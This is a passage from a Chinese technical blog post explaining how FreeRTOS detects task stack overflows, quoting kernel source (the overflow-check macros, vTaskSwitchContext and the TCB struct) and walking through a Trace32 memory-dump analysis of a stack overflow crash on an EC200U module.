</span></span></span><span class="line"><span class="cl"><span class="cp">        if( ( pulStack[ 0 ] != ulCheckValue ) ||                                                      \
</span></span></span><span class="line"><span class="cl"><span class="cp">            ( pulStack[ 1 ] != ulCheckValue ) ||                                                      \
</span></span></span><span class="line"><span class="cl"><span class="cp">            ( pulStack[ 2 ] != ulCheckValue ) ||                                                      \
</span></span></span><span class="line"><span class="cl"><span class="cp">            ( pulStack[ 3 ] != ulCheckValue ) )                                                       \
</span></span></span><span class="line"><span class="cl"><span class="cp">        {                                                                                             \
</span></span></span><span class="line"><span class="cl"><span class="cp">            vApplicationStackOverflowHook( ( TaskHandle_t ) pxCurrentTCB, pxCurrentTCB-&gt;pcTaskName ); \
</span></span></span><span class="line"><span class="cl"><span class="cp">        }                                                                                             \
</span></span></span><span class="line"><span class="cl"><span class="cp">    }
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* #if( configCHECK_FOR_STACK_OVERFLOW &gt; 1 ) */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="cm">/*-----------------------------------------------------------*/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#if ( ( configCHECK_FOR_STACK_OVERFLOW &gt; 1 ) &amp;&amp; ( portSTACK_GROWTH &gt; 0 ) )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#define taskCHECK_FOR_STACK_OVERFLOW()                                                                                                \
</span></span></span><span class="line"><span class="cl"><span class="cp">    {                                                                                                                                     \
</span></span></span><span class="line"><span class="cl"><span class="cp">        int8_t * pcEndOfStack = ( int8_t * ) pxCurrentTCB-&gt;pxEndOfStack;                                                                  \
</span></span></span><span class="line"><span class="cl"><span class="cp">        static const uint8_t ucExpectedStackBytes[] = { tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE,   \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                        tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE,   \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                        tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE,   \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                        tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE,   \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                        tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE, tskSTACK_FILL_BYTE }; \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                                                                                                          \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                                                                                                          \
</span></span></span><span class="line"><span class="cl"><span class="cp">        pcEndOfStack -= sizeof( ucExpectedStackBytes );                                                                                   \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                                                                                                          \
</span></span></span><span class="line"><span class="cl"><span class="cp">        </span><span class="cm">/* Has the extremity of the task stack ever been written over? */</span><span class="cp">                                                                 \
</span></span></span><span class="line"><span class="cl"><span class="cp">        if( memcmp( ( void * ) pcEndOfStack, ( void * ) ucExpectedStackBytes, sizeof( ucExpectedStackBytes ) ) != 0 )                     \
</span></span></span><span class="line"><span class="cl"><span class="cp">        {                                                                                                                                 \
</span></span></span><span class="line"><span class="cl"><span class="cp">            vApplicationStackOverflowHook( ( TaskHandle_t ) pxCurrentTCB, pxCurrentTCB-&gt;pcTaskName );                                     \
</span></span></span><span class="line"><span class="cl"><span class="cp">        }                                                                                                                                 \
</span></span></span><span class="line"><span class="cl"><span class="cp">    }
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* #if( configCHECK_FOR_STACK_OVERFLOW &gt; 1 ) */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="cm">/*-----------------------------------------------------------*/</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在任务栈初始化的时候填充已知的固定数据0xA5，除了做栈溢出检测之外，还可以作为评估线程运行时占用栈空间大小的方法。其原理是在线程运行一段时间之后，从栈的低地址统计有多少字节的0xA5得到栈空间未使用的大小（假设栈从高地址向低地址生长），用栈的总大小减去未使用的空间便可得到该任务运行时栈可能的最大使用大小。</p>
<h2 id="kernel-在什么时候检查栈溢出呢">kernel 在什么时候检查栈溢出呢？</h2>
<p>在 tasks.c 文件可以查到taskCHECK_FOR_STACK_OVERFLOW在 void vTaskSwitchContext( void )函数中被调用，也就是在任务上下文切换的时候做检查，从这点可以看出软件检查栈溢出的方式具有一定的滞后性，任务栈被破坏了并不能马上检测到问题。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">vTaskSwitchContext</span><span class="p">(</span> <span class="kt">void</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span> <span class="n">uxSchedulerSuspended</span> <span class="o">!=</span> <span class="p">(</span> <span class="n">UBaseType_t</span> <span class="p">)</span> <span class="n">pdFALSE</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* The scheduler is currently suspended - do not allow a context
</span></span></span><span class="line"><span class="cl"><span class="cm">         * switch. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">xYieldPending</span> <span class="o">=</span> <span class="n">pdTRUE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">xYieldPending</span> <span class="o">=</span> <span class="n">pdFALSE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nf">traceTASK_SWITCHED_OUT</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cp">#if ( configGENERATE_RUN_TIME_STATS == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cp">#ifdef portALT_GET_RUN_TIME_COUNTER_VALUE
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>                    <span class="nf">portALT_GET_RUN_TIME_COUNTER_VALUE</span><span class="p">(</span> <span class="n">ulTotalRunTime</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="cp">#else
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>                    <span class="n">ulTotalRunTime</span> <span class="o">=</span> <span class="nf">portGET_RUN_TIME_COUNTER_VALUE</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* Add the amount of time the task has been running to the
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * accumulated time so far.  The time the task started running was
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * stored in ulTaskSwitchedInTime.  Note that there is no overflow
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * protection here so count values are only valid until the timer
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * overflows.  The guard against negative values is to protect
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * against suspect run time stat counter implementations - which
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * are provided by the application, not the kernel. */</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span><span class="p">(</span> <span class="n">ulTotalRunTime</span> <span class="o">&gt;</span> <span class="n">ulTaskSwitchedInTime</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">pxCurrentTCB</span><span class="o">-&gt;</span><span class="n">ulRunTimeCounter</span> <span class="o">+=</span> <span class="p">(</span> <span class="n">ulTotalRunTime</span> <span class="o">-</span> <span class="n">ulTaskSwitchedInTime</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nf">mtCOVERAGE_TEST_MARKER</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">ulTaskSwitchedInTime</span> <span class="o">=</span> <span class="n">ulTotalRunTime</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="cp">#endif </span><span class="cm">/* configGENERATE_RUN_TIME_STATS */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* Check for stack overflow, if configured. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">taskCHECK_FOR_STACK_OVERFLOW</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Before the currently running task is switched out, save its errno. */</span>
</span></span><span class="line"><span class="cl">        <span class="cp">#if ( configUSE_POSIX_ERRNO == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">pxCurrentTCB</span><span class="o">-&gt;</span><span class="n">iTaskErrno</span> <span class="o">=</span> <span class="n">FreeRTOS_errno</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* Select a new task to run using either the generic C or port
</span></span></span><span class="line"><span class="cl"><span class="cm">         * optimised asm code. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">taskSELECT_HIGHEST_PRIORITY_TASK</span><span class="p">();</span> <span class="cm">/*lint !e9079 void * is used as this macro is used with timers and co-routines too.  Alignment is known to be fine as the type of the pointer stored and retrieved is the same. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">traceTASK_SWITCHED_IN</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* After the new task is switched in, update the global errno. */</span>
</span></span><span class="line"><span class="cl">        <span class="cp">#if ( configUSE_POSIX_ERRNO == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="n">FreeRTOS_errno</span> <span class="o">=</span> <span class="n">pxCurrentTCB</span><span class="o">-&gt;</span><span class="n">iTaskErrno</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">        <span class="cp">#if ( configUSE_NEWLIB_REENTRANT == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* Switch Newlib&#39;s _impure_ptr variable to point to the _reent
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * structure specific to this task.
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * See the third party link http://www.nadler.com/embedded/newlibAndFreeRTOS.html
</span></span></span><span class="line"><span class="cl"><span class="cm">                 * for additional information. */</span>
</span></span><span class="line"><span class="cl">                <span class="n">_impure_ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="p">(</span> <span class="n">pxCurrentTCB</span><span class="o">-&gt;</span><span class="n">xNewLib_reent</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="cp">#endif </span><span class="cm">/* configUSE_NEWLIB_REENTRANT */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cm">/*-----------------------------------------------------------*/</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="栈溢出实例分析">栈溢出实例分析</h2>
<h3 id="任务控制块tcb中的与栈相关的成员介绍">任务控制块（TCB）中的与栈相关的成员介绍</h3>
<p>FreeRTOS的TCB数据结构在 tasks.c 文件中定义，源码如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span><span class="lnt">47
</span><span class="lnt">48
</span><span class="lnt">49
</span><span class="lnt">50
</span><span class="lnt">51
</span><span class="lnt">52
</span><span class="lnt">53
</span><span class="lnt">54
</span><span class="lnt">55
</span><span class="lnt">56
</span><span class="lnt">57
</span><span class="lnt">58
</span><span class="lnt">59
</span><span class="lnt">60
</span><span class="lnt">61
</span><span class="lnt">62
</span><span class="lnt">63
</span><span class="lnt">64
</span><span class="lnt">65
</span><span class="lnt">66
</span><span class="lnt">67
</span><span class="lnt">68
</span><span class="lnt">69
</span><span class="lnt">70
</span><span class="lnt">71
</span><span class="lnt">72
</span><span class="lnt">73
</span><span class="lnt">74
</span><span class="lnt">75
</span><span class="lnt">76
</span><span class="lnt">77
</span><span class="lnt">78
</span><span class="lnt">79
</span><span class="lnt">80
</span><span class="lnt">81
</span><span class="lnt">82
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm"> * Task control block.  A task control block (TCB) is allocated for each task,
</span></span></span><span class="line"><span class="cl"><span class="cm"> * and stores task state information, including a pointer to the task&#39;s context
</span></span></span><span class="line"><span class="cl"><span class="cm"> * (the task&#39;s run time environment, including register values)
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">tskTaskControlBlock</span>       <span class="cm">/* The old naming convention is used to prevent breaking kernel aware debuggers. */</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">volatile</span> <span class="n">StackType_t</span> <span class="o">*</span> <span class="n">pxTopOfStack</span><span class="p">;</span> <span class="cm">/*&lt; Points to the location of the last item placed on the tasks stack.  THIS MUST BE THE FIRST MEMBER OF THE TCB STRUCT. */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( portUSING_MPU_WRAPPERS == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="n">xMPU_SETTINGS</span> <span class="n">xMPUSettings</span><span class="p">;</span> <span class="cm">/*&lt; The MPU settings are defined as part of the port layer.  THIS MUST BE THE SECOND MEMBER OF THE TCB STRUCT. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="n">ListItem_t</span> <span class="n">xStateListItem</span><span class="p">;</span>                  <span class="cm">/*&lt; The list that the state list item of a task is reference from denotes the state of that task (Ready, Blocked, Suspended ). */</span>
</span></span><span class="line"><span class="cl">    <span class="n">ListItem_t</span> <span class="n">xEventListItem</span><span class="p">;</span>                  <span class="cm">/*&lt; Used to reference a task from an event list. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">UBaseType_t</span> <span class="n">uxPriority</span><span class="p">;</span>                     <span class="cm">/*&lt; The priority of the task.  0 is the lowest priority. */</span>
</span></span><span class="line"><span class="cl">    <span class="n">StackType_t</span> <span class="o">*</span> <span class="n">pxStack</span><span class="p">;</span>                      <span class="cm">/*&lt; Points to the start of the stack. */</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">pcTaskName</span><span class="p">[</span> <span class="n">configMAX_TASK_NAME_LEN</span> <span class="p">];</span> <span class="cm">/*&lt; Descriptive name given to the task when created.  Facilitates debugging only. */</span> <span class="cm">/*lint !e971 Unqualified char types are allowed for strings and single characters only. */</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( ( portSTACK_GROWTH &gt; 0 ) || ( configRECORD_STACK_HIGH_ADDRESS == 1 ) )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="n">StackType_t</span> <span class="o">*</span> <span class="n">pxEndOfStack</span><span class="p">;</span> <span class="cm">/*&lt; Points to the highest valid address for the stack. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( portCRITICAL_NESTING_IN_TCB == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="n">UBaseType_t</span> <span class="n">uxCriticalNesting</span><span class="p">;</span> <span class="cm">/*&lt; Holds the critical section nesting depth for ports that do not maintain their own count in the port layer. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_TRACE_FACILITY == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="n">UBaseType_t</span> <span class="n">uxTCBNumber</span><span class="p">;</span>  <span class="cm">/*&lt; Stores a number that increments each time a TCB is created.  It allows debuggers to determine when a task has been deleted and then recreated. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">UBaseType_t</span> <span class="n">uxTaskNumber</span><span class="p">;</span> <span class="cm">/*&lt; Stores a number specifically for use by third party trace code. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_MUTEXES == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="n">UBaseType_t</span> <span class="n">uxBasePriority</span><span class="p">;</span> <span class="cm">/*&lt; The priority last assigned to the task - used by the priority inheritance mechanism. */</span>
</span></span><span class="line"><span class="cl">        <span class="n">UBaseType_t</span> <span class="n">uxMutexesHeld</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_APPLICATION_TASK_TAG == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="n">TaskHookFunction_t</span> <span class="n">pxTaskTag</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configNUM_THREAD_LOCAL_STORAGE_POINTERS &gt; 0 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="kt">void</span> <span class="o">*</span> <span class="n">pvThreadLocalStoragePointers</span><span class="p">[</span> <span class="n">configNUM_THREAD_LOCAL_STORAGE_POINTERS</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configGENERATE_RUN_TIME_STATS == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="kt">uint32_t</span> <span class="n">ulRunTimeCounter</span><span class="p">;</span> <span class="cm">/*&lt; Stores the amount of time the task has spent in the Running state. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_NEWLIB_REENTRANT == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="cm">/* Allocate a Newlib reent structure that is specific to this task.
</span></span></span><span class="line"><span class="cl"><span class="cm">         * Note Newlib support has been included by popular demand, but is not
</span></span></span><span class="line"><span class="cl"><span class="cm">         * used by the FreeRTOS maintainers themselves.  FreeRTOS is not
</span></span></span><span class="line"><span class="cl"><span class="cm">         * responsible for resulting newlib operation.  User must be familiar with
</span></span></span><span class="line"><span class="cl"><span class="cm">         * newlib and must provide system-wide implementations of the necessary
</span></span></span><span class="line"><span class="cl"><span class="cm">         * stubs. Be warned that (at the time of writing) the current newlib design
</span></span></span><span class="line"><span class="cl"><span class="cm">         * implements a system-wide malloc() that must be provided with locks.
</span></span></span><span class="line"><span class="cl"><span class="cm">         *
</span></span></span><span class="line"><span class="cl"><span class="cm">         * See the third party link http://www.nadler.com/embedded/newlibAndFreeRTOS.html
</span></span></span><span class="line"><span class="cl"><span class="cm">         * for additional information. */</span>
</span></span><span class="line"><span class="cl">        <span class="k">struct</span>  <span class="n">_reent</span> <span class="n">xNewLib_reent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_TASK_NOTIFICATIONS == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="k">volatile</span> <span class="kt">uint32_t</span> <span class="n">ulNotifiedValue</span><span class="p">[</span> <span class="n">configTASK_NOTIFICATION_ARRAY_ENTRIES</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="k">volatile</span> <span class="kt">uint8_t</span> <span class="n">ucNotifyState</span><span class="p">[</span> <span class="n">configTASK_NOTIFICATION_ARRAY_ENTRIES</span> <span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* See the comments in FreeRTOS.h with the definition of
</span></span></span><span class="line"><span class="cl"><span class="cm">     * tskSTATIC_AND_DYNAMIC_ALLOCATION_POSSIBLE. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( tskSTATIC_AND_DYNAMIC_ALLOCATION_POSSIBLE != 0 ) </span><span class="cm">/*lint !e731 !e9029 Macro has been consolidated for readability reasons. */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="kt">uint8_t</span> <span class="n">ucStaticallyAllocated</span><span class="p">;</span>                     <span class="cm">/*&lt; Set to pdTRUE if the task is a statically allocated to ensure no attempt is made to free the memory. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( INCLUDE_xTaskAbortDelay == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="kt">uint8_t</span> <span class="n">ucDelayAborted</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#if ( configUSE_POSIX_ERRNO == 1 )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>        <span class="kt">int</span> <span class="n">iTaskErrno</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#endif
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="p">}</span> <span class="n">tskTCB</span><span class="p">;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>这里仅介绍几个与任务栈相关的几个成员。</p>
<ul>
<li>pxTopOfStack</li>
</ul>
<p>pxTopOfStack 存储任务栈的栈顶地址。</p>
<ul>
<li>pxStack</li>
</ul>
<p>pxStack 存储任务栈空间的起始地址，也就栈的最低地址。</p>
<ul>
<li>pxEndOfStack</li>
</ul>
<p>pxEndOfStack 存储任务栈空间的结束地址，也就是栈的最高地址。</p>
<h3 id="ec200u-栈溢出导致memory-dump-分析">EC200U 栈溢出导致memory dump 分析</h3>
<p>EC200U模组（Unisoc 8910Dm）的open sdk使用的RTOS是FreeRTOS，模组死机时导出的memory dump 文件可以通过trace 32工具分析，以下是一个栈溢出的dump实例。</p>
<p>通过trace 32加载dump文件，首先看到死机前函数栈帧里有调用vApplicationStackOverflowHook函数，说明kernel在任务上下文切换时检测到了栈溢出问题。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled.3ljv1vf7grq0.png" alt=""  />
</p>
<p>查看线程列表，正在执行的task是rm_app_start这个线程，也就是在这个任务死机了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-1.vqzir71hzpc.png" alt=""  />
</p>
<p>接着查看rm_app_start的任务控制块数据，其中有三个数据需要关注：</p>
<ol>
<li>TCB的起始地址→0x80bf78b8</li>
</ol>
<p>还记得前面介绍的FreeRTOS栈存储结构吗？是按照TCB+stack方式存储的。EC200U的栈增长方向是按高地址向地址增长的。</p>
<p>TCB+stack紧挨着，所以知道了TCB的起始地址也就知道了栈的结束地址（最高地址，栈底）。</p>
<ol start="2">
<li>栈顶地址 pxTopOfStack →0x80bf7504</li>
</ol>
<p>从栈底到栈顶这段空间存储了函数调用的地址，对分析函数调用关系挺有帮助。</p>
<ol start="3">
<li>栈的起始地址 pxStack → 0x80bf74a8</li>
</ol>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-2.3jp3qqf5xdc0.png" alt=""  />
</p>
<p>可以使用trace 32查看这些地址的内存数据，比如，先来看TCB的起始地址→0x80bf78b8的数据，下图右箭头所指的地方就是TCB的起始地址，我们可以看到开始的4个字节数据是0x80bf7504，也就是存储着pxTopOfStack的地址。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-3.3bfxtptmgl80.png" alt=""  />
</p>
<p>接着再看栈的最低地址0x80bf74a8的数据，通过前面栈溢出的检测机制介绍可以知道，栈在初始化的时候会填充默认值0xA5，然后kernel在任务上下文切换的时候会去比较栈起始地址开始的16个字节是不是保持着默认值0xA5，如果初始值被篡改，则会触发vApplicationStackOverflowHook。从下图的数据来看，栈最低地址0x80bf74a8的数据已经被破坏了。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/images/qns/Untitled-4.2hud1c5k2rs0.png" alt=""  />
</p>
